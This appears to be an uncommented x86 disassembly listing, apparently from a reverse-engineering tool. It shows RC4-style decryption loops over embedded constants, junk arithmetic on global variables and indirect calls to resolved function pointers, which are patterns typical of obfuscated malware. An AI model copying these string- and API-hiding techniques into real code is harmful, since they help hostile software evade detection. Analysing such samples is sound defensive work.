cmp byte [eax + str.threadId], bl
jne 0x41a3fe
jmp 0x41a432
push str.threadId
mov edx, 0x44d58c
call fcn.00415428
mov edi, dword [0x44d564]
and edi, 0x31c30015
pop ecx
mov dword [0x44d5b4], edi
mov cl, byte [ebp + esi - 0x558]
lea eax, [edi - 0x6b0a6593]
mov dword [0x44d564], eax
mov eax, dword [ebp - 0x38]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x38], eax
mov al, byte [ebp + eax - 0x558]
mov byte [ebp + esi - 0x558], al
mov eax, dword [ebp - 0x38]
mov byte [ebp + eax - 0x558], cl
movzx eax, byte [ebp + esi - 0x558]
mov ecx, dword [ebp - 0x34]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x558]
xor al, byte [ebp + ecx - 0xec]
mov byte [ebp + ecx - 0x174], al
inc ecx
mov dword [ebp - 0x34], ecx
cmp ecx, 6
jb 0x41a3ee
push 0x2e
pop eax
push 0x12
mov dword [ebp - 0x94], eax
mov ecx, 0x384
pop eax
push 5
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], eax
mov eax, ebx
mov byte [ebp - 0x16e], bl
mov dword [ebp - 0x90], 0x47
mov dword [ebp - 0x84], 0x2af
pop edx
sub ecx, dword [ebp + eax*4 - 0x94]
inc eax
cmp eax, edx
jl 0x41a4d8
movups xmm1, xmmword [ebp - 0x3b0]
push 0x29
pop eax
movaps xmm0, xmm1
mov esi, ebx
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movups xmm0, xmmword [ebp - 0x3c0]
movd edx, xmm1
xorps xmm1, xmm1
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
add edx, eax
paddd xmm1, xmm0
imul eax, edi, 0x82aee3e5
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd dword [ebp - 0x138], xmm1
mov dword [0x44d564], eax
mov eax, ebx
sub esi, dword [ebp + eax*4 - 0x338]
inc eax
cmp eax, 3
jl 0x41a549
push edx
push ecx
push dword [ebp - 0x2a8]
lea ecx, [ebp - 0x174]
call fcn.0041e657
mov edx, eax
lea ecx, [ebp - 0x85c]
call fcn.0041e636
call eax
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x58], esi
movups xmm0, xmmword [ebp - 0x434]
mov ecx, 0x3c00
xorps xmm1, xmm1
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movups xmm0, xmmword [ebp - 0x418]
push 0x5f
movd eax, xmm1
xorps xmm1, xmm1
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
add eax, ecx
paddd xmm1, xmm0
mov dword [ebp - 0x110], eax
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
pop edx
add eax, ecx
imul ecx, dword [0x44d564], 0xa64b3e7d
mov dword [ebp - 0x120], eax
mov eax, ebx
add edx, dword [ebp + eax*4 - 0x37c]
inc eax
cmp eax, 4
jl 0x41a5f9
mov dword [ebp - 0x128], edx
mov eax, ebx
mov edx, ebx
sub edx, dword [ebp + eax*4 - 0x344]
inc eax
cmp eax, 3
jl 0x41a610
push 0x4c
mov dword [ebp - 0x150], edx
mov eax, ebx
imul ecx, ecx, 0x1120bf20
pop edx
add edx, dword [ebp + eax*4 - 0x298]
inc eax
cmp eax, 2
jl 0x41a62e
push 5
pop eax
mov byte [ebp - 0x29], al
xor ecx, 0x85c09c95
push 0x13
pop eax
mov byte [ebp - 0x21], al
mov edi, ebx
mov byte [ebp - 0x1c], al
mov eax, dword [0x401f98]
mov dword [ebp - 0x160], eax
mov ax, word [0x401f9c]
mov word [ebp - 0x15c], ax
mov eax, ebx
mov dword [ebp - 0x118], edx
mov dword [ebp - 0x30], 0x50e08bc7
mov word [ebp - 0x2c], 0x9b81
mov byte [ebp - 0x2a], 0xd9
mov dword [ebp - 0x28], 0xa426a984
mov word [ebp - 0x24], 0xe70b
mov byte [ebp - 0x22], 0xaf
mov dword [ebp - 0x20], 0x7dca9a2b
mov word [ebp - 0x1b], 0xf343
mov byte [ebp - 0x19], 0x89
mov dword [ebp - 0x34], ecx
mov byte [ebp + eax - 0x658], al
inc eax
cmp eax, 0x100
jb 0x41a6a8
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x658]
push 5
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x160]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x658]
mov byte [ebp + esi - 0x658], al
inc esi
mov byte [ebp + edi - 0x658], bl
cmp esi, 0x100
jb 0x41a6b9
mov eax, dword [ebp - 0x34]
xor ebx, ebx
or eax, 0xc4cdc3e0
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x80], eax
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x658]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x658]
mov byte [ebp + edi - 0x658], al
mov byte [ebp + ebx - 0x658], cl
movzx eax, byte [ebp + edi - 0x658]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x658]
xor al, byte [ebp + esi - 0x30]
mov byte [ebp + esi - 0x81c], al
inc esi
cmp esi, 0x18
jb 0x41a70a
mov esi, 0x401fa0
lea edi, [ebp - 0x304]
xor ebx, ebx
mov byte [ebp - 0x804], bl
mov eax, ebx
mov dword [ebp - 0x38], ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov byte [ebp + eax - 0x558], al
inc eax
cmp eax, 0x100
jb 0x41a777
mov esi, dword [ebp - 0x34]
mov ecx, ebx
mov edi, dword [ebp - 0x80]
mov dword [ebp - 0xc], ecx
mov al, byte [ebp + ecx - 0x558]
xor edx, edx
mov byte [ebp - 1], al
mov eax, ecx
push 0xd
pop ecx
div ecx
movzx ecx, byte [ebp - 1]
movzx eax, byte [ebp + edx - 0x304]
add eax, dword [ebp - 0x38]
add ecx, eax
movzx eax, cl
mov ecx, 0x44d58c
mov dword [ebp - 0x38], eax
mov al, byte [0x44d58c]
test al, al
je 0x41a7e3
push 9
pop edx
sub al, 0x30
cmp al, dl
ja 0x41a7db
inc ecx
mov al, byte [ecx]
test al, al
jne 0x41a7cc
jmp 0x41a7e3
mov esi, edi
and esi, 0x6867c498
xor esi, 0xd9268f0c
mov eax, ebx
mov dword [0x44d564], esi
cmp byte [str.threadId], al
je 0x41a82f
inc eax
cmp eax, 0x5d9
jg 0x41a80b
cmp byte [eax + str.threadId], bl
jne 0x41a7f9
jmp 0x41a82f
imul edi, esi, 0xbb2a625b
mov dword [0x44d5b4], edi
cmp eax, 0x705
jle 0x41a82f
call fcn.0041555f
mov esi, dword [0x44d564]
mov edi, dword [0x44d5b4]
add esi, 0x6fefeb4d
mov dword [0x44d564], esi
mov eax, 0x44d58c
xor edi, 0x830b5280
push eax
mov edx, eax
mov dword [0x44d5b4], edi
call fcn.00415428
mov edx, dword [ebp - 0x38]
pop ecx
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp + edx - 0x558]
mov byte [ebp + ecx - 0x558], al
inc ecx
mov al, byte [ebp - 1]
mov byte [ebp + edx - 0x558], al
mov dword [ebp - 0xc], ecx
cmp ecx, 0x100
jae 0x41a890
mov esi, dword [0x44d564]
mov edi, dword [0x44d5b4]
jmp 0x41a791
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
push 6
mov cl, byte [ebp + edi - 0x558]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x558]
mov byte [ebp + edi - 0x558], al
mov byte [ebp + ebx - 0x558], cl
movzx eax, byte [ebp + edi - 0x558]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x558]
xor al, byte [ebp + esi - 0xe4]
mov byte [ebp + esi - 0x17c], al
inc esi
pop eax
cmp esi, eax
jb 0x41a894
xor ebx, ebx
mov dword [ebp - 0x8c], eax
push 5
mov byte [ebp - 0x176], bl
mov ecx, ebx
mov dword [ebp - 0x94], 0x2a
mov eax, ebx
mov dword [ebp - 0x90], 0x28
mov dword [ebp - 0x88], 0x47
mov dword [ebp - 0x84], 0xffffff61
pop edx
sub ecx, dword [ebp + eax*4 - 0x94]
inc eax
cmp eax, edx
jl 0x41a926
movups xmm0, xmmword [ebp - 0x398]
mov dword [ebp - 0x148], ecx
mov ecx, ebx
xorps xmm1, xmm1
mov eax, ebx
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd dword [ebp - 0x134], xmm1
sub ecx, dword [ebp + eax*4 - 0x350]
inc eax
cmp eax, 3
jl 0x41a96a
mov dword [ebp - 0x14c], ecx
mov eax, dword [0x44d5b4]
and eax, 0xad2b48a2
mov dword [0x44d564], eax
and eax, 0x325228ea
mov esi, str.threadId
push esi
mov edx, 0x44d58c
mov dword [0x44d5b4], eax
call fcn.00415428
movups xmm0, xmmword [ebp - 0x2ec]
mov edx, dword [0x44d564]
xorps xmm1, xmm1
mov word [ebp - 0xb0], 0x9d65
pop ecx
psubd xmm1, xmm0
mov dword [ebp - 0xad], 0x4fbc22f
push 0x13
pop eax
movaps xmm0, xmm1
mov byte [ebp - 0xae], al
psrldq xmm0, 8
mov ecx, esi
push 0x16
pop eax
paddd xmm1, xmm0
mov byte [ebp - 0xa5], al
mov eax, dword [0x401760]
movups xmm0, xmm1
mov dword [ebp - 0x158], eax
mov ax, word [0x401764]
psrldq xmm0, 4
mov word [ebp - 0x154], ax
paddd xmm1, xmm0
mov al, byte [str.threadId]
movd dword [ebp - 0x80], xmm1
mov dword [ebp - 0xa9], 0x46d45fe6
mov dword [ebp - 0xa4], 0x3ce444b4
mov dword [ebp - 0xa0], 0x5e1f8a45
mov dword [ebp - 0x9c], 0xa7b081b0
mov byte [ebp - 1], al
jmp 0x41aa52
sub al, 0x30
cmp al, 9
ja 0x41aaaa
inc ecx
mov al, byte [ecx]
test al, al
jne 0x41aa49
mov edi, dword [0x44d5b4]
or edx, 0x8528cd26
mov eax, ebx
mov dword [0x44d564], edx
mov byte [ebp + eax - 0x758], al
inc eax
cmp eax, 0x100
jb 0x41aa6a
mov esi, ebx
xor edx, edx
mov cl, byte [ebp + esi - 0x758]
mov eax, esi
mov byte [ebp - 2], cl
div dword [ebp - 0x60]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x158]
mov edx, str.threadId
add eax, ebx
add ecx, eax
mov eax, edx
movzx ebx, cl
mov cl, byte [ebp - 1]
jmp 0x41aabd
lea edi, [edx + 0x59480065]
jmp 0x41aa5c
push dword [ebp - 0x114]
lea ecx, [ebp - 0x30c]
call fcn.0041e657
mov edx, eax
lea ecx, [ebp - 0x7ac]
call fcn.0041e636
call eax
push dword [ebp - 0xd0]
lea ecx, [ebp - 0x32c]
call fcn.0041e657
mov edx, eax
lea ecx, [ebp - 0x7c8]
call fcn.0041e636
call eax
push dword [ebp - 0x2a8]
lea ecx, [ebp - 0x314]
call fcn.0041e657
mov edx, eax
lea ecx, [ebp - 0x7e4]
call fcn.0041e636
call eax
push dword [ebp - 0x2a4]
lea ecx, [ebp - 0x168]
call fcn.0041e657
lea ecx, [ebp - 0x800]
mov edx, eax
call fcn.0041e636
call eax
mov eax, dword [ebp - 0xd4]
pop edi
pop esi
pop ebx
leave
ret